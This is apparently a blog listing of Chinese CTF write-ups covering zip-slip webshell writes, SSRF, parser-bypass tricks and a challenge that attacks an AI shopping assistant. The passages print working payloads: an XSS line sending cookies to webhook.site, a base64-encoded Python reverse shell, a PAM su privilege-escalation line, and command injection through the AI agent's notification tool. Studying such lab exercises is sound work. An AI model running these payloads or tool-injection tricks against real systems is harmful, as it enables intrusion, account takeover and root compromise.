2026长城杯半决赛easy_time意外发现的另一种潜在解法 | WriteUp

本篇将介绍除网上zip slip漏洞外的另一种解法,针对所给附件docker-compose.yml环境与当时比赛现场环境不一致的情况 环境搭建 附件给了docker-compose.yml,直接docker-compose up -d即可,mac上要把5000改成其他,否则会和airdrop冲突 但要注意,本题直接用附件所给的docker-compose启动会和比赛时的环境不一致,也是为什么会有第二种解法的原因,具体将在攻击部分讲解 攻击 通过浏览整个项目的文件结构可以发现,有两个web部分,一个是php,一个是flask,而根据docker-compose.yml可知对外提供能访问到的是flask,所以先看flask的逻辑 先看路由,发现大部分路由都需要经过login_required 跟进这个装饰器,发现它通过另一个is_logged_in()判断是否已登录 这个is_logged_in()只会检查cookie里的visited是否为yes,以及user是否有值,所以不需要什么绕过,只要有值就行 另外,还有一个硬编码过的2层md5密码,其实明文是secret,用hashcat可以很容易跑出来 hashcat -m 2600 -a 0 hash rockyou.txt 登录逻辑大概就是这样,不过比赛时我居然在类似下面这样的好多地方纠结了好久为什么没有SSTI ?太久没碰CTF导致的…… 顺便补一下上面这样的构造并不会造成SSTI,下面这样才会,原理:https://xz.aliyun.com/news/3311 既然不存在直接的利用点,那就只能回到逻辑分析,粗略浏览路由后会发现主要路由只有/plugin/upload和/about,/board尽管有写库的功能,但是sqlite,所以先不管 先看/about,主要逻辑就是下面这段 先对上传后缀做过滤,再从数据库里拿出信息给flask渲染,其中avatar_url还会经过一个fetch_remote_avatar_info的函数,跟进 就是很简单的curl,本身没有利用点。但问题就在于它另一个php服务存在于一个环境里,由此可以引出SSRF,并且php自带了一个phpinfo.php,所以来到about页面将头像地址改成php服务地址试试 成功访问,但没有发现什么特别的东西,而且目前还没发现进一步利用到RCE的点,所以继续看另一个路由 可以看到仅支持上传.zip文件,并将上传上来的zip文件名做secure_filename防止路径穿越(注意这里只过滤上传的zip文件本身,不会检查zip文件里的文件)后,最终交给safe_upload函数,跟进一下 遍历zip文件中的文件,将文件名与dest_dir合并后赋值到target,如果是文件夹则确保或创建该文件夹存在,否则将文件写到完整的target路径里。 其实这是个很类似解压到操作,但又不是标准的解压方法,真正使用zipfile解压zip的方法应该是下面这样 with zipfile.Zipfile("example.zip","r") as zips: zipf.extractall("/tmp") 但这道题里的这种"解压"实质上是一种文件迁移,将zip的内容读出来再写入,而不是真正地去解压它 操作的空间就在这里,os.path.join对路径的处理并不会做像secure_filename那样过滤路径回退的操作,甚至会优先解析绝对路径(如下target3),如下 由此可知,可以通过让被压缩的文件名带有/或../这样的格式,达到任意目录写文件的目的。并且由于flask没开热更新,所以肯定不是覆写.py来拿webshell,只能写php webshell 所以只要构造一个文件名为’/var/www/html/shell.php’的文件就能成功写入,但linux和macos都不支持直接创建带/文件名的文件,所以我们只能用zipfile这个库直接创建一个带有这样文件的压缩包 import zipfile with zipfile.ZipFile("eval.zip","w") as f: f.writestr("/var/www/html/shell.php","<?php system('ls');?>") 赛事环境与附件所给不一致导致的利用失败 此时如果直接上传这个文件,理论上应该是可以正常解压最后利用ssrf getshell才对,但情况并不是这样。而是出现了解压失败的报错 参考网上许多赛后复盘wp后发现,当时比赛的环境确实只要上传上面生成的压缩包即可 https://rycarl.cn/index.php/2026/03/23/2026%E9%95%BF%E5%9F%8E%E6%9D%AFawdp%E5%8D%8A%E5%86%B3%E8%B5%9Bwp%E8%A5%BF%E5%8D%97%E5%9C%B0%E5%8C%BAweb/#FIX-2 https://blog.luc1f3r.top/zh-cn/posts/writeup/ciscn--ccb-%E5%8D%8A%E5%86%B3%E8%B5%9B---2026-writeup/#break-1 说明两者环境应该有区别,经过一番排查后后发现了原因 ...

April 16, 2026 · 1 min · Red

xujcLab 4月多校训练赛 xujcStore | Writeup

很久没有出过题了,上一次出题还是在上一次,看到这次4月赛这么多人在玩,就忙里偷闲随便整一个 我会从做题者的视角来写,让大家可以更直观地看到渗透的逻辑链 通过题目描述可以得知,老板最近经常(实际上是1分钟一次)用AI看一件夹克商品,进来看了一下,只有一件商品是夹克 随便注册一个用户,上来后发现给了个邮箱服务,其他没发现什么有价值的东西,那就玩玩AI吧 既然老板经常看这件夹克,那我们也看一下 可以看到,会显示客户评论,和商品页面下看到的一样,所以它的功能其实很简单,就是把评论区的内容照搬过来。既然这样,如果这里存在xss漏洞,老板的账号如果执行了我预先埋在评论区的xss payload,我就可以拿到他的cookie,上他的号看看。所以先来验证一下有没有xss 回到夹克商品页面,随便打个alert试试 可以看到没有执行,因为被包在了div容器里,但并没有做过滤或转译,所以试试img标签直接看外带能不能成 重新操作一遍后,最多等待1分钟左右,会发现成功收到回显 既然可以外带,那就准备外带cookie的payload,既然script不行就用img <img src=x onerror="location.href='http://webhook.site/aeb1a8a3-639c-4595-89f1-18faac7d0d10?c='+document.cookie"> 拿着外带回来的session就能登录到管理员akared777用户 会发现多出一个管理员后台,但也没有什么特别的东西,只能证明我们已经成功登录到管理员用户,所以既然还是搜集不到东西那就再玩玩ai吧,老板喜欢玩的东西肯定不简单 这里我们如果用普通用户问一样的问题,会发现普通用户只有第一个功能product_info,只有管理员才会多出这么多功能。 不过,llm最大的问题就在于同样的问题不一定能够被稳定复现,所以最稳妥的问法还是从它的功能原理——API问起 当然,要是中文不行,题目一开始的提示里告诉了英文最佳,在实战中也是个很常用的tip,这里就不演示了 经过排查后,关注点锁定在dispatch_notification这个功能, 可以搜看看 命令行吗?有点意思,斗胆试一下命令拼接 这里它给的用法里没有指定是哪个工具,如果只发一个json它应该会不认得,所以在前面加上api的名字 会发现akared777的邮箱并没有收到邮件,但我并没有直接放弃测试这个api,毕竟这是道渗透题,环境带来的不确定性可能会让自己错过很重要的东西。此时想起来普通用户也有邮箱,所以开个无痕登录一个普通用户 会发现普通用户的邮箱地址和管理员不太一样,加了一串随机字符。所以我们拿它重新尝试一下 会发现还是没有收到邮件,所以我开始推测可能是我写的格式不对或内容不行,删减自己的json数据,到最后尝试让他只发送一封空邮件 成功收到 会发现它已经自己写好了内容,也就是content,所以可能是怕我做命令拼接,所以会丢弃内容,并拦截 不过到目前也只验证能发件,content又被ban了,那还有什么地方是可控的,可能存在拼接的吗?对,还有一个用户名,而且这个邮件自带一串随机字符,说不定发件定位用的不是用户名,而是这串随机字符,那就梭一把 get it,至此我们就成功拿到了webshell,然后就是最喜闻乐见的反弹shell 会发现空格遭到了过滤,而且太多引号也会导致奇怪的失败,这也是渗透常有的事,就不多展开,直接上我的payload dispatch_notification $(echo${IFS}cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMS4xLjEuMSIsMTE0NTEpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=|base64${IFS}-d|/bin/sh)@YOUR_PREFIX.xujcstore.com 因为根据请求头会发现用的是python,所以直接用python弹更稳定 接着就是提权环节了,会发现root没有权限进去 接着就是上可读可写可执行的查找三板斧,会发现可写里有个值得注意的家伙 pam是linux的统一权限管理接口,用来管理linux程序的权限划分,可以利用覆写配置达到提权 没有读权限,但有写权限,那就只能靠蒙,看能不能蒙到可以直接利用的东西,直接试试最常见的su看有没有 echo "auth sufficient pam_permit.so" > /etc/pam.d/su 能写说明事先没有这个文件,现在我们写了用的就是我们的,最后执行su就能利用配置文件成功获得root 具体原理可以参考https://blog.csdn.net/2301_79518550/article/details/145524969 ...

April 8, 2026 · 1 min · Red

2025 TKKCTF | WriteUp

本篇wp还总结了本届TKKCTF在使用新版docker与xinted时,在Pwn方向上题/出题阶段遇到的问题的解决方法,以及密码题Isomorphia_revenge出现非预期解的原因与解决方法,希望能给各位校外师傅将来出题提供点帮助,再次感谢所有参与并支持本届TKKCTF的参赛选手与测试人员,TKKC Sec因为有你们而变得更好~ Web Eat 2023 TKKCTF - 好吃,爱吃,多吃 Real or AI 本题灵感来源于 有很多人在群里晒自己的得分,不过这对一个训练有素的hacker来说应该想要多高就有多高 网页内容基本没有变化,先来看看怎么修改得分 最低1张图1局,我们就先随便玩一局看看显示结果的页面有什么值得注意的内容 运气不太好。此时你如果只是想到群里晒得分,可以直接修改HTML的内容 可是这样一点也不真实,左边的圆圈应该要随正确的比例填满,所以直接修改HTML的方法显然不是最好的,因此我们就要进一步看看前端还有什么别的实现 在js部分发现了这个 资源结构很简单,出了这个js外没有别的脚本,因此应该只要分析这个脚本就行。 分析过前端逆向的人应该都知道,前端逻辑代码大部分都是经过混淆或者加密处理的,这个网页也不意外,所以如果直接通过打随机断点去分析,工作量会很大。因此我们需要找到一个明显又值得关注的东西,回到刚才我们随便玩的一局里,观察到“score”这个字符串,负责表示分数,所以我们就随便搜一搜 范围一下被缩小到了6个,所以我们就只需要观察这6个地方的逻辑,应该就能找到突破口 通过观察,最后可以将目标锁定在这个结果 为什么是这里?这是6个结果中的第2个,如果我们把刚才的6个结果都看过去,可以在第6个结果中看到这样一段 通过属性名与"results"可以很大胆的猜测这段结果就是最后输出给我们看的东西,而后面这三个值被赋给了Yy,也就是6个结果中第2个结果的那个函数,所以如果能操控Yy,很大概率我们就可以控制最后的输出结果。 我没有对Yy做很细致的分析,不过粗略的看一眼也能获得证实我们上面想法的线索 如果我们在刚才随便玩的那一局里再点一下“SHARE RESULTS”按钮,会发现他会复制一段话,而这段话的片段很明显就是这几行代码组成的,因此这更加证实了Yy就是负责最后输出页面内容的函数。 而经过对这几行代码的分析也有别的发现,那就是变量o,这个变量在18193行被拿来做分数判断。回到Yy函数的变量声明里,会发现o变量就是由totalRounds和score组成的 所以思路到此就很清晰了,我们可以尝试在o变量被赋值的地方下条件断点,让o使用我们自己定义的e和t,就能达到随意控制最终输出结果的目的。 此时我们再去玩一局,就会发现成功触发断点 放行全部断点后就能得到 此时如果你只是想炫耀999的截图任务,就已经完成了。但对于CTF选手来说,走到这步没有拿到flag肯定是很不满意的。所以我们就回到CTF最原始的玩法 如果你头铁,可以一个一个搜过去也可以。但我的习惯一般是只关注前几个和后几个。前3个结果显然不是我们要找的flag,那就看看后3个 很明显这就是我们要找的东西,获得方法也很简单,e和t我们刚才都已经分析过(理论上没有走过我们刚才那些步骤的选手应该也要去了解e和t的值分别是什么,当然也不乏可以猜出来)写个计算sha256的脚本就能解决 #!/bin/bash e=999 t=999 salt="HDJackm2G7SfnAwGWXOYgHfuB1cj6DEZ" #盐是每个靶机随机生成的,需要你自己替换 msg="${salt}${e}${t}" hash=$(echo -n "$msg" | sha256sum | awk '{print $1}') curl "https://47.122.52.77:33695/secrets/$hash.txt" SecOps 访问题目,被重定向至登录页面 在登录页面可以发现一个下载接口/common/download?file= ...

December 7, 2025 · 8 min · Red

2025 TKKCTF Beginner | WriteUp

本次WriteUp为各出题人收集版,如遇问题可以找对应题目出题人 Web 彩蛋 顺便解释一下为什么是“可能见过也可能没见过” 以及为什么提示叫“挖掘xujclab.com” easy_upload wp-2.pdf ez_http 出题者 zsm 留言:第一次出web题,质量不算特别高,请见谅 源码 <?php echo "<h1>你知道http协议吗?</h1>"; echo "<h1>不知道?还不去查查!!!</h1>"; echo "<h2>你知道怎么修改请求包吗?</h2>"; echo "<!-- 你也许需要一个工具?看看web手册呢? -->"; $flag = file_get_contents('/flag'); $flags = str_split($flag, 5); if ($_SERVER['HTTP_USER_AGENT'] != 'xujcBrowser') { die('请使用xujcBrowser浏览器访问'); } echo $flags[0]; if (!isset($_GET['hello'])) { die('<br>请用GET方式传递hello=world'); } echo $flags[1]; if ($_GET['hello'] != 'world') { die("<br>hello参数不正确"); } echo $flags[2]; if (!isset($_POST['web'])) { die('<br>请用POST方式传递web=security'); } echo $flags[3]; if ($_POST['web'] != 'security') { die('<br>web参数值不正确'); } echo $flags[4]; if (!isset($_COOKIE['flag'])) { die('<br>请设置cookie flag=secret'); } echo $flags[5]; if ($_COOKIE['flag'] != 'secret') { die('<br>cookie flag值不正确'); } echo $flags[6]; if ($_SERVER['HTTP_REFERER'] != 'http://localhost:8080/') { die('<br>请从http://localhost:8080/访问'); } echo $flags[7]; if ($_SERVER['HTTP_X_FORWARDED_FOR'] != '127.0.0.1') { die('<br>请从127.0.0.1访问'); } echo $flags[8] . "<br>"; echo '<h1>看来你知道http协议了</h1>'; 首先你要去学一下http协议,以及了解一下这个包里面的内容 ...

December 6, 2025 · 18 min · Red

2024 Seccon13 Online Web | Writeup

ssrf-self 非常超模的一题,能做出来的都是狠人(当然不排除很大一部分是猜对的,实际分析起来确实复杂) 先来看代码 用bun起的服务,这个bun是个什么呢?可以理解成一种全新的nodejs,对nodejs很多功能进行了重构提升性能 非常正常的包引用。接着来看逻辑代码。 根路由判断了query是否给flag传值,如果传了才能继续跳转到其他路由。也就是说,不管访问的是什么,因为有next事件的存在,所以必须经过根路由的这个检查 携带正确的flag值访问flag路由就能得到flag。但我们肯定不知道flag是什么 最后就是ssrf路由,会把请求拿去URL类做实例化,并判断是否正确与LOCALHOST进行拼接,重新赋值pathname为flag,添加参数flag和正确的flag值,代替我们访问/flag路由。 乍一看好像直接访问/ssrf就应该返回给我们正确的flag才对,但问题就在于根路由的next,必须先赋值正确的flag值才能访问ssrf 看到这里我就在想,append是会把flag覆盖过去还是把flag变成数组添加一个值?用附件起一个服务试试 为了看到传到flag路由的具体内容是什么,我们需要修改一下代码 注意只能存在一个res.send,否则会报错 先来看看直接传flag值会发生什么 跳到了正则表达式的第二个结果里。而我们的目的肯定是第一个结果,所以来看看传进来的req.query是什么 会发现append最终是把我们的flag参数变成了数组,所以不会跳到第一个结果。 那要怎么绕过呢?猜测漏洞点应该就出在 URL对req.url的处理,可能存在什么符号或格式让URL类在过了根路径的检查后仍然认为flag这个参数不存在 bun本身自带的express框架对req.query的识别与URL对req.query的识别不一致 而两种思路也正对应了这题的两种解法 1./ssrf?flag[=] 我们在php里经常用?a[]=1&b[]=2来绕过md5比较,在js里也有类似的用法。比如我们想用url给某个数组的某个键值赋值,可以用这种方法 ?flag[1]=1 那要是我们的键值不是数字,而是别的什么呢 接下来就是想办法怎么让req.query觉得存在flag参数,又让URL觉得不存在flag参数 方法就是标题里的payload。当传进来的值是flag[=]时,req.query会觉得你在给flag的=键赋值,URL会觉得你在给flag[赋值 2./ssrf?flag\ufeff 先来看看bun带了什么模块 负责url处理的猜测是parseurl。且在express/lib/requests.js里也能看到引用 到github搜项目https://github.com/pillarjs/parseurl/blob/1.3.3/index.js 读取到URL数据后先判断是不是空的,如果不为空,将在缓存中查找是否存在(fresh方法)。如果不存在,将进入fastparse 判断url是否是字符串且以/开头。如果不是则交给bun更底层的parse函数去处理 这个parse函数又是怎么处理的呢?这就得进到bun到项目文件里一探究竟了https://github.com/oven-sh/bun/blob/bun-v1.1.36/src/node-fallbacks/url.js#L49 这一段主要就是对反斜杠进行处理,然后赋值url给rest 紧接着将rest后面的空白符删除 什么是空白符?有很多,其中有个比较不常见的叫BOM(Byte Order Mark)分隔符 接着先回到parseurl往下继续分析 如果没跳进上面的if,就会来到这个for循环。简单来说就是先以?为分隔符分出三个部分,再对各种特殊字符作处理,但有一个case格外亮眼,就是0xfeff 意思就是,如果我们的发送的数据里带了0xfeff(也就是\ufeff)也会跳进parse进行处理 而根据我们上面对parse的分析,他会将包括0xfeff在内的空白符删掉,导致在req.query做判断时会认为我们传递进来的参数就是flag而不是flag\ufeff,因此就能绕过undefined 但URL类并不会认为flag和flag\ufeff是一样的,他会认为这是两个不一样的变量,在append时就会单独起一个flag变量赋值 持续更新ing……

June 8, 2025 · 1 min · Red